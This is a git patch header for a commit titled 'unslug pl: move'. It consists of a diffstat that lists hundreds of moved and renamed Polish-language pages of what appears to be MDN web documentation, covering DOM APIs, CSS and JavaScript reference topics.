From de5c456ebded0e038adbf23db34cc290c8829180 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 14:49:24 +0100 Subject: unslug pl: move --- .../index.html | 165 + .../aplikacje_internetowe_i_aria_faq/index.html | 299 -- .../aria/web_applications_and_aria_faq/index.html | 299 ++ files/pl/web/accessibility/index.html | 94 + .../index.html | 171 ++ .../createdynamicscompressor/index.html | 142 - .../createdynamicscompressor/index.html | 142 + files/pl/web/api/canvas_api/index.html | 55 + .../canvas_api/tutorial/drawing_shapes/index.html | 571 ++++ .../canvas_api/tutorial/drawing_text/index.html | 136 + .../tutorial/optimizing_canvas/index.html | 119 + .../tutorial/optymalizacja_canvas/index.html | 119 - .../tutorial/rysowanie_ksztaltow/index.html | 571 ---- files/pl/web/api/cssrulelist/index.html | 46 + .../pl/web/api/cssstylesheet/deleterule/index.html | 26 + files/pl/web/api/cssstylesheet/index.html | 57 + .../pl/web/api/cssstylesheet/insertrule/index.html | 42 + files/pl/web/api/document/activeelement/index.html | 27 - files/pl/web/api/document/firstchild/index.html | 37 - files/pl/web/api/document/namespaceuri/index.html | 26 - files/pl/web/api/document/stylesheets/index.html | 20 - .../api/document_object_model/examples/index.html | 354 +++ files/pl/web/api/document_object_model/index.html | 85 + .../document_object_model/introduction/index.html | 171 ++ .../documentorshadowroot/activeelement/index.html | 27 + .../documentorshadowroot/stylesheets/index.html | 20 + .../pl/web/api/element/addeventlistener/index.html | 109 - files/pl/web/api/element/appendchild/index.html | 52 - files/pl/web/api/element/blur/index.html | 21 - files/pl/web/api/element/childnodes/index.html | 49 - files/pl/web/api/element/click/index.html | 23 - files/pl/web/api/element/clientnode/index.html | 32 - files/pl/web/api/element/dir/index.html | 34 - files/pl/web/api/element/dispatchevent/index.html | 43 - files/pl/web/api/element/firstchild/index.html | 101 - files/pl/web/api/element/focus/index.html | 23 - files/pl/web/api/element/haschildnodes/index.html | 28 - files/pl/web/api/element/insertbefore/index.html | 86 - files/pl/web/api/element/lang/index.html | 40 - files/pl/web/api/element/lastchild/index.html | 28 - files/pl/web/api/element/length/index.html | 37 - files/pl/web/api/element/localname/index.html | 64 - files/pl/web/api/element/name/index.html | 61 - files/pl/web/api/element/namespaceuri/index.html | 39 - files/pl/web/api/element/nextsibling/index.html | 63 - files/pl/web/api/element/nodename/index.html | 98 - files/pl/web/api/element/nodetype/index.html | 44 - files/pl/web/api/element/nodevalue/index.html | 85 - files/pl/web/api/element/normalize/index.html | 22 - files/pl/web/api/element/offsetheight/index.html | 61 - files/pl/web/api/element/offsetleft/index.html | 73 - files/pl/web/api/element/offsetparent/index.html | 28 - files/pl/web/api/element/offsetwidth/index.html | 70 - files/pl/web/api/element/onclick/index.html | 66 - files/pl/web/api/element/onkeypress/index.html | 21 - files/pl/web/api/element/onkeyup/index.html | 24 - files/pl/web/api/element/onmousedown/index.html | 23 - files/pl/web/api/element/onmousemove/index.html | 29 - files/pl/web/api/element/ownerdocument/index.html | 30 - files/pl/web/api/element/parentnode/index.html | 34 - files/pl/web/api/element/prefix/index.html | 28 - .../pl/web/api/element/previoussibling/index.html | 28 - files/pl/web/api/element/removechild/index.html | 36 - files/pl/web/api/element/replacechild/index.html | 53 - files/pl/web/api/element/style/index.html | 52 - files/pl/web/api/element/tabindex/index.html | 31 - files/pl/web/api/element/textcontent/index.html | 41 - .../web/api/elementcssinlinestyle/style/index.html | 52 + files/pl/web/api/event/altkey/index.html | 32 - files/pl/web/api/event/button/index.html | 67 - files/pl/web/api/event/cancelbubble/index.html | 15 - files/pl/web/api/event/charcode/index.html | 27 - files/pl/web/api/event/clientx/index.html | 26 - files/pl/web/api/event/clienty/index.html | 17 - files/pl/web/api/event/ctrlkey/index.html | 27 - files/pl/web/api/event/initmouseevent/index.html | 86 - files/pl/web/api/event/inituievent/index.html | 49 - files/pl/web/api/event/ischar/index.html | 24 - files/pl/web/api/event/keycode/index.html | 24 - files/pl/web/api/event/layerx/index.html | 15 - files/pl/web/api/event/layery/index.html | 17 - files/pl/web/api/event/metakey/index.html | 31 - files/pl/web/api/event/pagex/index.html | 17 - files/pl/web/api/event/pagey/index.html | 15 - files/pl/web/api/event/relatedtarget/index.html | 57 - files/pl/web/api/event/screenx/index.html | 34 - files/pl/web/api/event/screeny/index.html | 24 - files/pl/web/api/event/shiftkey/index.html | 27 - files/pl/web/api/event/view/index.html | 23 - .../api/eventtarget/addeventlistener/index.html | 109 + .../web/api/eventtarget/dispatchevent/index.html | 43 + .../web/api/globaleventhandlers/onclick/index.html | 66 + .../api/globaleventhandlers/onkeydown/index.html | 24 + .../api/globaleventhandlers/onkeypress/index.html | 21 + .../web/api/globaleventhandlers/onkeyup/index.html | 24 + .../web/api/globaleventhandlers/onload/index.html | 62 + .../api/globaleventhandlers/onmousedown/index.html | 23 + .../api/globaleventhandlers/onmousemove/index.html | 29 + files/pl/web/api/htmlelement/click/index.html | 23 + files/pl/web/api/htmlelement/dataset/index.html | 134 - files/pl/web/api/htmlelement/dir/index.html | 34 + files/pl/web/api/htmlelement/lang/index.html | 40 + .../pl/web/api/htmlelement/offsetheight/index.html | 61 + files/pl/web/api/htmlelement/offsetleft/index.html | 73 + .../pl/web/api/htmlelement/offsetparent/index.html | 28 + .../pl/web/api/htmlelement/offsetwidth/index.html | 70 + .../web/api/htmlorforeignelement/blur/index.html | 21 + .../api/htmlorforeignelement/dataset/index.html | 134 + .../web/api/htmlorforeignelement/focus/index.html | 23 + .../api/htmlorforeignelement/tabindex/index.html | 31 + files/pl/web/api/keyboardevent/charcode/index.html | 27 + files/pl/web/api/keyboardevent/keycode/index.html | 24 + files/pl/web/api/mouseevent/altkey/index.html | 32 + files/pl/web/api/mouseevent/button/index.html | 67 + files/pl/web/api/mouseevent/clientx/index.html | 26 + files/pl/web/api/mouseevent/clienty/index.html | 17 + files/pl/web/api/mouseevent/ctrlkey/index.html | 27 + .../web/api/mouseevent/initmouseevent/index.html | 86 + files/pl/web/api/mouseevent/metakey/index.html | 31 + .../pl/web/api/mouseevent/relatedtarget/index.html | 57 + files/pl/web/api/mouseevent/screenx/index.html | 34 + files/pl/web/api/mouseevent/screeny/index.html | 24 + files/pl/web/api/mouseevent/shiftkey/index.html | 27 + files/pl/web/api/navigator/appcodename/index.html | 30 - files/pl/web/api/navigator/appname/index.html | 29 - files/pl/web/api/navigator/appversion/index.html | 32 - files/pl/web/api/navigator/javaenabled/index.html | 39 - files/pl/web/api/navigator/language/index.html | 45 - files/pl/web/api/navigator/mimetypes/index.html | 40 - files/pl/web/api/navigator/online/index.html | 47 - files/pl/web/api/navigator/platform/index.html | 28 - files/pl/web/api/navigator/plugins/index.html | 58 - files/pl/web/api/navigator/product/index.html | 38 - .../pl/web/api/navigatorid/appcodename/index.html | 30 + files/pl/web/api/navigatorid/appname/index.html | 29 + files/pl/web/api/navigatorid/appversion/index.html | 32 + files/pl/web/api/navigatorid/platform/index.html | 28 + files/pl/web/api/navigatorid/product/index.html | 38 + .../web/api/navigatorlanguage/language/index.html | 45 + files/pl/web/api/navigatoronline/online/index.html | 47 + .../online_and_offline_events/index.html | 84 + .../zdarzenia_online_i_offline/index.html | 84 - .../api/navigatorplugins/javaenabled/index.html | 39 + .../web/api/navigatorplugins/mimetypes/index.html | 40 + .../pl/web/api/navigatorplugins/plugins/index.html | 58 + files/pl/web/api/node/appendchild/index.html | 52 + files/pl/web/api/node/childnodes/index.html | 49 + files/pl/web/api/node/clonenode/index.html | 32 + files/pl/web/api/node/firstchild/index.html | 101 + files/pl/web/api/node/haschildnodes/index.html | 28 + files/pl/web/api/node/insertbefore/index.html | 86 + files/pl/web/api/node/lastchild/index.html | 28 + files/pl/web/api/node/localname/index.html | 64 + files/pl/web/api/node/namespaceuri/index.html | 39 + files/pl/web/api/node/nextsibling/index.html | 63 + files/pl/web/api/node/nodename/index.html | 98 + files/pl/web/api/node/nodetype/index.html | 44 + files/pl/web/api/node/nodevalue/index.html | 85 + files/pl/web/api/node/normalize/index.html | 22 + files/pl/web/api/node/ownerdocument/index.html | 30 + files/pl/web/api/node/parentnode/index.html | 34 + files/pl/web/api/node/prefix/index.html | 28 + files/pl/web/api/node/previoussibling/index.html | 28 + files/pl/web/api/node/removechild/index.html | 36 + files/pl/web/api/node/replacechild/index.html | 53 + files/pl/web/api/node/textcontent/index.html | 41 + files/pl/web/api/nodelist/length/index.html | 37 + files/pl/web/api/notification/index.html | 348 +++ files/pl/web/api/powiadomienie/index.html | 348 --- files/pl/web/api/storage/index.html | 155 - files/pl/web/api/stylesheet/cssrules/index.html | 46 - files/pl/web/api/stylesheet/deleterule/index.html | 26 - files/pl/web/api/stylesheet/index.html | 57 - files/pl/web/api/stylesheet/insertrule/index.html | 42 - files/pl/web/api/stylesheet/ownerrule/index.html | 24 - files/pl/web/api/touch_events/index.html | 336 ++ files/pl/web/api/uievent/cancelbubble/index.html | 15 + files/pl/web/api/uievent/inituievent/index.html | 49 + files/pl/web/api/uievent/ischar/index.html | 24 + files/pl/web/api/uievent/layerx/index.html | 15 + files/pl/web/api/uievent/layery/index.html | 17 + files/pl/web/api/uievent/pagex/index.html | 17 + files/pl/web/api/uievent/pagey/index.html | 15 + files/pl/web/api/uievent/view/index.html | 23 + files/pl/web/api/web_storage_api/index.html | 155 + files/pl/web/api/websockets_api/index.html | 188 ++ files/pl/web/api/window/clearinterval/index.html | 28 - files/pl/web/api/window/cleartimeout/index.html | 40 - files/pl/web/api/window/onload/index.html | 62 - files/pl/web/api/window/setinterval/index.html | 87 - files/pl/web/api/window/settimeout/index.html | 46 - files/pl/web/api/windowbase64/atob/index.html | 104 - files/pl/web/api/windowbase64/btoa/index.html | 126 - files/pl/web/api/windowbase64/index.html | 114 - .../api/windoworworkerglobalscope/atob/index.html | 104 + .../api/windoworworkerglobalscope/btoa/index.html | 126 + .../clearinterval/index.html | 28 + .../cleartimeout/index.html | 40 + .../web/api/windoworworkerglobalscope/index.html | 114 + .../setinterval/index.html | 87 + .../settimeout/index.html | 46 + files/pl/web/api/xmlhttprequest/index.html | 233 ++ .../xmlhttprequest/using_xmlhttprequest/index.html | 657 ++++ files/pl/web/api/zdarzenia_dotykowe/index.html | 336 -- .../certificate_transparency/index.html" | 63 - "files/pl/web/bezpiecze\305\204stwo/index.html" | 24 - .../podstawy_bezpieczenstwa_informacji/index.html" | 36 - .../same-origin_policy/index.html" | 277 -- .../subresource_integrity/index.html" | 163 - files/pl/web/css/-moz-box-align/index.html | 77 - files/pl/web/css/-moz-box-flex/index.html | 64 - files/pl/web/css/-moz-box-orient/index.html | 54 - files/pl/web/css/-moz-box-pack/index.html | 82 - files/pl/web/css/-moz-outline-color/index.html | 13 - files/pl/web/css/_colon_-moz-first-node/index.html | 58 + files/pl/web/css/_colon_after/index.html | 63 - files/pl/web/css/_colon_before/index.html | 60 - files/pl/web/css/_colon_first-letter/index.html | 49 - files/pl/web/css/_colon_first-node/index.html | 58 - files/pl/web/css/_doublecolon_after/index.html | 63 + files/pl/web/css/_doublecolon_before/index.html | 60 + .../web/css/_doublecolon_first-letter/index.html | 49 + files/pl/web/css/box-align/index.html | 77 + files/pl/web/css/box-flex/index.html | 64 + files/pl/web/css/box-orient/index.html | 54 + files/pl/web/css/box-pack/index.html | 82 + files/pl/web/css/class_selectors/index.html | 86 + .../index.html | 41 + files/pl/web/css/css_color/index.html | 120 + .../css/css_colors/color_picker_tool/index.html | 3241 ++++++++++++++++++++ files/pl/web/css/css_colors/index.html | 120 - .../css_colors/narzedzie_doboru_kolorow/index.html | 3241 -------------------- .../using_multi-column_layouts/index.html | 65 + .../index.html | 594 ---- .../index.html | 594 ++++ .../using_css_counters/index.html | 86 + files/pl/web/css/css_reference/index.html | 56 - .../index.html | 64 + .../index.html" | 64 - .../index.html" | 41 - .../css/cz\304\231ste_pytania_o_css/index.html" | 162 - files/pl/web/css/dziedziczenie/index.html | 50 - files/pl/web/css/inheritance/index.html | 50 + files/pl/web/css/initial_value/index.html | 25 + files/pl/web/css/inne_zasoby/index.html | 29 - .../media_queries/testing_media_queries/index.html | 116 + .../web/css/na_pocz\304\205tek/bloki/index.html" | 71 - .../na_pocz\304\205tek/czym_jest_css/index.html" | 133 - .../na_pocz\304\205tek/czytelny_css/index.html" | 154 - .../css/na_pocz\304\205tek/grafika_svg/index.html" | 195 -- "files/pl/web/css/na_pocz\304\205tek/index.html" | 64 - .../jak_dzia\305\202a_css/index.html" | 114 - .../css/na_pocz\304\205tek/javascript/index.html" | 127 - .../index.html" | 97 - .../web/css/na_pocz\304\205tek/kolor/index.html" | 209 -- .../web/css/na_pocz\304\205tek/listy/index.html" | 269 -- .../web/css/na_pocz\304\205tek/media/index.html" | 318 -- .../po_co_u\305\274ywa\304\207_css/index.html" | 86 - .../css/na_pocz\304\205tek/selektory/index.html" | 260 -- .../na_pocz\304\205tek/style_tekstowe/index.html" | 116 - .../web/css/na_pocz\304\205tek/tables/index.html" | 597 ---- .../na_pocz\304\205tek/uk\305\202ad/index.html" | 275 -- files/pl/web/css/outline-color/index.html | 13 + .../index.html | 68 + .../index.html | 68 - files/pl/web/css/reference/index.html | 56 + files/pl/web/css/rozszerzenia_webkit/index.html | 358 --- files/pl/web/css/selektor_klasy/index.html | 86 - files/pl/web/css/selektor_uniwersalny/index.html | 104 - files/pl/web/css/selektory_typu/index.html | 80 - files/pl/web/css/shorthand_properties/index.html | 56 + .../css/skr\303\263cone_deklaracje_css/index.html" | 56 - files/pl/web/css/type_selectors/index.html | 80 + files/pl/web/css/universal_selectors/index.html | 104 + .../index.html" | 25 - files/pl/web/css/webkit_extensions/index.html | 358 +++ .../index.html" | 165 - .../dost\304\231pno\305\233\304\207/index.html" | 94 - .../index.html" | 171 -- files/pl/web/guide/ajax/getting_started/index.html | 221 ++ .../web/guide/ajax/na_pocz\304\205tek/index.html" | 221 -- files/pl/web/guide/css/kolumny_css3/index.html | 65 - .../guide/css/sprawdzanie_media_queries/index.html | 116 - .../creating_and_triggering_events/index.html | 34 + files/pl/web/guide/html/html5/index.html | 172 ++ files/pl/web/guide/liczniki_css/index.html | 86 - files/pl/web/html(pl)/index.html | 108 - .../tryb_zgodnosci_oraz_tryb_standardow/index.html | 54 - files/pl/web/html/block-level_elements/index.html | 38 + files/pl/web/html/canvas/index.html | 55 - files/pl/web/html/element/comment/index.html | 33 - files/pl/web/html/elementy_blokowe/index.html | 38 - files/pl/web/html/elementy_liniowe/index.html | 30 - .../web/html/global_attributes/pisownia/index.html | 63 - .../html/global_attributes/spellcheck/index.html | 63 + files/pl/web/html/inline_elements/index.html | 30 + .../index.html | 29 - .../html/quirks_mode_and_standards_mode/index.html | 54 + .../zarz\304\205dzanie_fokusem_w_html/index.html" | 19 - .../znaczenie_poprawnego_komentowania/index.html | 65 - .../web/http/basics_of_http/mime_types/index.html | 39 + files/pl/web/http/ciasteczka/index.html | 263 -- files/pl/web/http/cookies/index.html | 263 ++ files/pl/web/http/headers/data/index.html | 81 - files/pl/web/http/headers/date/index.html | 81 + .../http/http_wiadomosci_og\303\263lne/index.html" | 178 -- files/pl/web/http/overview/index.html | 178 ++ .../a_re-introduction_to_javascript/index.html | 965 ++++++ .../pl/web/javascript/about_javascript/index.html | 57 + files/pl/web/javascript/closures/index.html | 408 +++ files/pl/web/javascript/data_structures/index.html | 443 +++ files/pl/web/javascript/domkniecia/index.html | 408 --- .../dziedziczenie_lancuch_prototypow/index.html | 295 -- .../guide/details_of_the_object_model/index.html | 25 + .../guide/expressions_and_operators/index.html | 113 + files/pl/web/javascript/guide/functions/index.html | 642 ++++ files/pl/web/javascript/guide/funkcje/index.html | 642 ---- .../javascript/guide/grammar_and_types/index.html | 595 ++++ .../javascript/guide/o_tym_przewodniku/index.html | 139 - .../web/javascript/guide/obsolete_pages/index.html | 11 - .../blok_instrukcji/index.html" | 42 - .../definiowanie_funkcji/index.html" | 62 - .../index.html" | 20 - .../funkcja_eval/index.html" | 21 - .../funkcja_isfinite/index.html" | 25 - .../funkcja_isnan/index.html" | 30 - .../funkcje_escape_i_unescape/index.html" | 27 - .../funkcje_number_i_string/index.html" | 28 - .../funkcje_parseint_i_parsefloat/index.html" | 29 - .../funkcje_predefiniowane/index.html" | 24 - .../index.html" | 876 ------ .../instrukcje_komentarzy/index.html" | 27 - .../instrukcje_manipulacji_obiektem/index.html" | 50 - .../index.html" | 42 - .../instrukcja_throw/index.html" | 45 - .../instrukcja_try...catch/index.html" | 114 - .../instrukcje_p\304\231tli/index.html" | 24 - .../instrukcja_break/index.html" | 27 - .../instrukcja_continue/index.html" | 51 - .../instrukcja_do_...while/index.html" | 23 - .../instrukcja_for/index.html" | 56 - .../instrukcja_label/index.html" | 23 - .../instrukcja_while/index.html" | 38 - .../instrukcje_warunkowe/index.html" | 90 - .../litera\305\202y/index.html" | 208 -- .../o_tym_przewodniku/index.html" | 159 - .../obiekty_i_w\305\202asno\305\233ci/index.html" | 50 - .../obiekty_predefiniowane/index.html" | 25 - .../obiekt_array/index.html" | 94 - .../obiekt_boolean/index.html" | 14 - .../obiekty_predefiniowane/obiekt_date/index.html" | 87 - .../obiekt_function/index.html" | 50 - .../obiekty_predefiniowane/obiekt_math/index.html" | 72 - .../obiekt_number/index.html" | 83 - .../obiekt_regexp/index.html" | 12 - .../obiekt_string/index.html" | 92 - .../operatory/index.html" | 113 - .../index.html" | 18 - .../operatory/operatory_arytmetyczne/index.html" | 49 - .../operatory/operatory_logiczne/index.html" | 73 - .../operatory_por\303\263wnania/index.html" | 74 - .../operatory/operatory_przypisania/index.html" | 67 - .../operatory/operatory_specjalne/index.html" | 228 -- .../podgl\304\205d_klas_liveconnect/index.html" | 47 - .../index.html" | 25 - .../index.html" | 73 - .../praca_z_przyk\305\202adem/index.html" | 37 - .../tworzenie_hierarchii/index.html" | 149 - .../dodawanie_w\305\202asno\305\233ci/index.html" | 23 - .../index.html" | 33 - .../w\305\202asno\305\233ci_obiektu/index.html" | 19 - .../index.html" | 51 - .../index.html" | 122 - .../praca_z_zamkni\304\231ciami/index.html" | 286 -- .../sta\305\202e/index.html" | 30 - .../definiowanie_metod/index.html" | 48 - .../index.html" | 19 - .../index.html" | 16 - .../tworzenie_nowych_obiekt\303\263w/index.html" | 22 - .../usuwanie_w\305\202asno\305\233ci/index.html" | 26 - .../u\305\274ywanie_inicjacji_obiektu/index.html" | 36 - .../index.html" | 32 - .../index.html" | 62 - .../index.html" | 43 - .../unicode/index.html" | 111 - .../warto\305\233ci/index.html" | 47 - .../wyra\305\274enia/index.html" | 23 - .../wywo\305\202anie_funkcji/index.html" | 46 - .../index.html" | 215 -- .../zastosowanie_obiektu_arguments/index.html" | 41 - .../zmienne/index.html" | 64 - .../guide/regular_expressions/index.html | 51 + .../guide/sk\305\202adnia_i_typy/index.html" | 595 ---- .../guide/working_with_objects/index.html | 50 + .../inheritance_and_the_prototype_chain/index.html | 295 ++ .../web/javascript/language_resources/index.html | 48 + .../web/javascript/na_pocz\304\205tek/index.html" | 903 ------ files/pl/web/javascript/o_javascript/index.html | 57 - .../ponowne_wprowadzenie_do_javascript/index.html | 965 ------ files/pl/web/javascript/reference/about/index.html | 58 + .../reference/classes/constructor/index.html | 188 ++ .../reference/classes/konstruktor/index.html | 188 -- .../deprecated_and_obsolete_features/index.html | 292 ++ .../index.html" | 77 - .../missing_colon_after_property_id/index.html | 77 + .../functions/arguments/callee/index.html | 60 + .../reference/functions/arguments/index.html | 129 + .../functions/arguments/length/index.html | 59 + .../reference/functions/arrow_functions/index.html | 355 +++ .../functions/default_parameters/index.html | 225 ++ .../functions/funkcje_strzalkowe/index.html | 355 --- .../parametry_domy\305\233lne/index.html" | 225 -- .../global_objects/array/concat/index.html | 71 + .../global_objects/array/copywithin/index.html | 181 ++ .../global_objects/array/entries/index.html | 77 + .../global_objects/array/every/index.html | 89 + .../reference/global_objects/array/fill/index.html | 185 ++ .../global_objects/array/filter/index.html | 150 + .../reference/global_objects/array/find/index.html | 278 ++ .../global_objects/array/findindex/index.html | 214 ++ .../reference/global_objects/array/flat/index.html | 173 ++ .../global_objects/array/foreach/index.html | 104 + .../reference/global_objects/array/from/index.html | 248 ++ .../global_objects/array/includes/index.html | 110 + .../reference/global_objects/array/index.html | 279 ++ .../global_objects/array/indexof/index.html | 95 + .../global_objects/array/isarray/index.html | 139 + .../reference/global_objects/array/join/index.html | 50 + .../reference/global_objects/array/keys/index.html | 120 + .../global_objects/array/lastindexof/index.html | 114 + .../global_objects/array/length/index.html | 53 + .../reference/global_objects/array/map/index.html | 93 + .../reference/global_objects/array/of/index.html | 92 + .../reference/global_objects/array/pop/index.html | 138 + .../reference/global_objects/array/push/index.html | 51 + .../global_objects/array/reduce/index.html | 300 ++ .../global_objects/array/reduceright/index.html | 344 +++ .../global_objects/array/reverse/index.html | 55 + .../global_objects/array/shift/index.html | 48 + .../global_objects/array/slice/index.html | 99 + .../reference/global_objects/array/some/index.html | 110 + .../reference/global_objects/array/sort/index.html | 122 + .../global_objects/array/splice/index.html | 86 + .../global_objects/array/tolocalestring/index.html | 128 + .../global_objects/array/tosource/index.html | 62 + .../global_objects/array/tostring/index.html | 42 + .../global_objects/array/unshift/index.html | 56 + .../global_objects/array/values/index.html | 84 + .../global_objects/arraybuffer/index.html | 222 ++ .../global_objects/bigint/asintn/index.html | 79 + .../global_objects/bigint/asuintn/index.html | 78 + .../reference/global_objects/bigint/index.html | 293 ++ .../global_objects/bigint/tostring/index.html | 95 + .../global_objects/bigint/valueof/index.html | 59 + .../reference/global_objects/boolean/index.html | 111 + .../global_objects/boolean/tosource/index.html | 51 + .../global_objects/boolean/tostring/index.html | 41 + .../global_objects/boolean/valueof/index.html | 43 + .../reference/global_objects/dataview/index.html | 118 + .../global_objects/date/getdate/index.html | 47 + .../global_objects/date/getday/index.html | 47 + .../global_objects/date/getfullyear/index.html | 47 + .../global_objects/date/gethours/index.html | 46 + .../global_objects/date/getmilliseconds/index.html | 44 + .../global_objects/date/getminutes/index.html | 48 + .../global_objects/date/getmonth/index.html | 46 + .../global_objects/date/getseconds/index.html | 46 + .../global_objects/date/gettime/index.html | 47 + .../date/gettimezoneoffset/index.html | 35 + .../global_objects/date/getutcdate/index.html | 45 + .../global_objects/date/getutcday/index.html | 45 + .../global_objects/date/getutcfullyear/index.html | 44 + .../global_objects/date/getutchours/index.html | 44 + .../date/getutcmilliseconds/index.html | 44 + .../global_objects/date/getutcminutes/index.html | 44 + .../global_objects/date/getutcmonth/index.html | 44 + .../global_objects/date/getutcseconds/index.html | 44 + .../global_objects/date/getyear/index.html | 97 + .../reference/global_objects/date/index.html | 138 + .../reference/global_objects/date/now/index.html | 43 + .../reference/global_objects/date/parse/index.html | 74 + .../global_objects/date/setdate/index.html | 43 + .../global_objects/date/setfullyear/index.html | 58 + .../global_objects/date/sethours/index.html | 66 + .../global_objects/date/setmilliseconds/index.html | 45 + .../global_objects/date/setminutes/index.html | 60 + .../global_objects/date/setmonth/index.html | 56 + .../global_objects/date/setseconds/index.html | 56 + .../global_objects/date/settime/index.html | 46 + .../global_objects/date/setutcdate/index.html | 45 + .../global_objects/date/setutcfullyear/index.html | 57 + .../global_objects/date/setutchours/index.html | 62 + .../date/setutcmilliseconds/index.html | 45 + .../global_objects/date/setutcminutes/index.html | 57 + .../global_objects/date/setutcmonth/index.html | 52 + .../global_objects/date/setutcseconds/index.html | 52 + .../global_objects/date/setyear/index.html | 52 + .../global_objects/date/togmtstring/index.html | 44 + .../global_objects/date/tojson/index.html | 70 + .../date/tolocaledatestring/index.html | 55 + .../global_objects/date/tolocalestring/index.html | 51 + .../date/tolocaletimestring/index.html | 52 + .../global_objects/date/tosource/index.html | 49 + .../global_objects/date/tostring/index.html | 49 + .../global_objects/date/toutcstring/index.html | 43 + .../reference/global_objects/date/utc/index.html | 69 + .../global_objects/date/valueof/index.html | 46 + .../reference/global_objects/decodeuri/index.html | 39 + .../global_objects/decodeuricomponent/index.html | 41 + .../reference/global_objects/encodeuri/index.html | 72 + .../global_objects/encodeuricomponent/index.html | 38 + .../global_objects/error/columnnumber/index.html | 81 + .../global_objects/error/filename/index.html | 49 + .../reference/global_objects/error/index.html | 246 ++ .../global_objects/error/linenumber/index.html | 57 + .../global_objects/error/message/index.html | 108 + .../reference/global_objects/error/name/index.html | 109 + .../global_objects/error/stack/index.html | 127 + .../global_objects/error/tosource/index.html | 60 + .../global_objects/error/tostring/index.html | 98 + .../reference/global_objects/escape/index.html | 120 + .../reference/global_objects/evalerror/index.html | 87 + .../global_objects/function/apply/index.html | 289 ++ .../global_objects/function/arguments/index.html | 41 + .../global_objects/function/bind/index.html | 332 ++ .../global_objects/function/caller/index.html | 69 + .../global_objects/function/displayname/index.html | 119 + .../reference/global_objects/function/index.html | 237 ++ .../global_objects/function/length/index.html | 42 + .../global_objects/function/tostring/index.html | 56 + .../reference/global_objects/generator/index.html | 178 ++ .../javascript/reference/global_objects/index.html | 193 ++ .../reference/global_objects/infinity/index.html | 35 + .../reference/global_objects/isfinite/index.html | 56 + .../reference/global_objects/isnan/index.html | 53 + .../reference/global_objects/json/index.html | 147 + .../reference/global_objects/map/clear/index.html | 87 + .../reference/global_objects/map/delete/index.html | 85 + .../global_objects/map/entries/index.html | 128 + .../global_objects/map/foreach/index.html | 104 + .../reference/global_objects/map/get/index.html | 80 + .../reference/global_objects/map/has/index.html | 85 + .../reference/global_objects/map/index.html | 458 +++ .../reference/global_objects/map/keys/index.html | 78 + .../reference/global_objects/map/set/index.html | 96 + .../reference/global_objects/map/size/index.html | 65 + .../reference/global_objects/map/values/index.html | 77 + .../reference/global_objects/math/abs/index.html | 54 + .../reference/global_objects/math/acos/index.html | 59 + .../reference/global_objects/math/asin/index.html | 58 + .../reference/global_objects/math/atan/index.html | 51 + .../reference/global_objects/math/atan2/index.html | 63 + .../reference/global_objects/math/ceil/index.html | 49 + .../reference/global_objects/math/cos/index.html | 52 + .../reference/global_objects/math/e/index.html | 40 + .../reference/global_objects/math/exp/index.html | 49 + .../reference/global_objects/math/floor/index.html | 46 + .../reference/global_objects/math/index.html | 94 + .../reference/global_objects/math/ln10/index.html | 42 + .../reference/global_objects/math/ln2/index.html | 40 + .../reference/global_objects/math/log/index.html | 54 + .../global_objects/math/log10e/index.html | 44 + .../reference/global_objects/math/log2e/index.html | 42 + .../reference/global_objects/math/max/index.html | 43 + .../reference/global_objects/math/min/index.html | 44 + .../reference/global_objects/math/pi/index.html | 40 + .../reference/global_objects/math/pow/index.html | 49 + .../global_objects/math/random/index.html | 67 + .../reference/global_objects/math/round/index.html | 50 + .../reference/global_objects/math/sign/index.html | 118 + .../reference/global_objects/math/sin/index.html | 51 + .../reference/global_objects/math/sqrt/index.html | 46 + .../global_objects/math/sqrt1_2/index.html | 39 + .../reference/global_objects/math/sqrt2/index.html | 41 + .../reference/global_objects/math/tan/index.html | 53 + .../reference/global_objects/nan/index.html | 45 + .../reference/global_objects/null/index.html | 134 + .../global_objects/number/epsilon/index.html | 76 + .../reference/global_objects/number/index.html | 111 + .../global_objects/number/isinteger/index.html | 88 + .../global_objects/number/isnan/index.html | 108 + .../global_objects/number/max_value/index.html | 35 + .../global_objects/number/min_value/index.html | 39 + .../reference/global_objects/number/nan/index.html | 48 + .../number/negative_infinity/index.html | 53 + .../number/positive_infinity/index.html | 57 + .../global_objects/number/toexponential/index.html | 53 + .../global_objects/number/tofixed/index.html | 61 + .../number/tolocalestring/index.html | 182 ++ .../global_objects/number/toprecision/index.html | 56 + .../global_objects/number/tostring/index.html | 59 + .../global_objects/object/assign/index.html | 307 ++ .../global_objects/object/constructor/index.html | 49 + .../global_objects/object/freeze/index.html | 201 ++ .../object/getownpropertydescriptor/index.html | 121 + .../object/hasownproperty/index.html | 150 + .../reference/global_objects/object/index.html | 212 ++ .../global_objects/object/proto/index.html | 193 ++ .../global_objects/object/seal/index.html | 165 + .../object/tolocalestring/index.html | 35 + .../global_objects/object/tosource/index.html | 73 + .../global_objects/object/tostring/index.html | 98 + .../global_objects/object/valueof/index.html | 63 + .../reference/global_objects/parsefloat/index.html | 68 + .../reference/global_objects/parseint/index.html | 112 + .../reference/global_objects/promise/index.html | 256 ++ .../reference/global_objects/proxy/index.html | 401 +++ .../global_objects/proxy/proxy/apply/index.html | 117 + .../global_objects/proxy/proxy/index.html | 78 + .../reference/global_objects/rangeerror/index.html | 162 + .../global_objects/regexp/exec/index.html | 144 + .../global_objects/regexp/global/index.html | 35 + .../global_objects/regexp/ignorecase/index.html | 35 + .../reference/global_objects/regexp/index.html | 383 +++ .../global_objects/regexp/lastmatch/index.html | 54 + .../global_objects/regexp/source/index.html | 29 + .../global_objects/regexp/test/index.html | 53 + .../global_objects/regexp/tosource/index.html | 47 + .../global_objects/regexp/tostring/index.html | 46 + .../reference/global_objects/set/add/index.html | 134 + .../reference/global_objects/set/clear/index.html | 124 + .../reference/global_objects/set/delete/index.html | 102 + .../reference/global_objects/set/index.html | 486 +++ .../global_objects/string/anchor/index.html | 56 + .../reference/global_objects/string/big/index.html | 43 + .../global_objects/string/blink/index.html | 50 + .../global_objects/string/bold/index.html | 45 + .../global_objects/string/charat/index.html | 68 + .../global_objects/string/charcodeat/index.html | 42 + .../global_objects/string/concat/index.html | 44 + .../global_objects/string/fontcolor/index.html | 50 + .../global_objects/string/fontsize/index.html | 48 + .../global_objects/string/fromcharcode/index.html | 50 + .../global_objects/string/fromcodepoint/index.html | 149 + .../reference/global_objects/string/index.html | 194 ++ .../global_objects/string/italics/index.html | 45 + .../global_objects/string/link/index.html | 43 + .../global_objects/string/repeat/index.html | 166 + .../global_objects/string/search/index.html | 49 + .../global_objects/string/slice/index.html | 51 + .../global_objects/string/small/index.html | 37 + .../global_objects/string/strike/index.html | 44 + 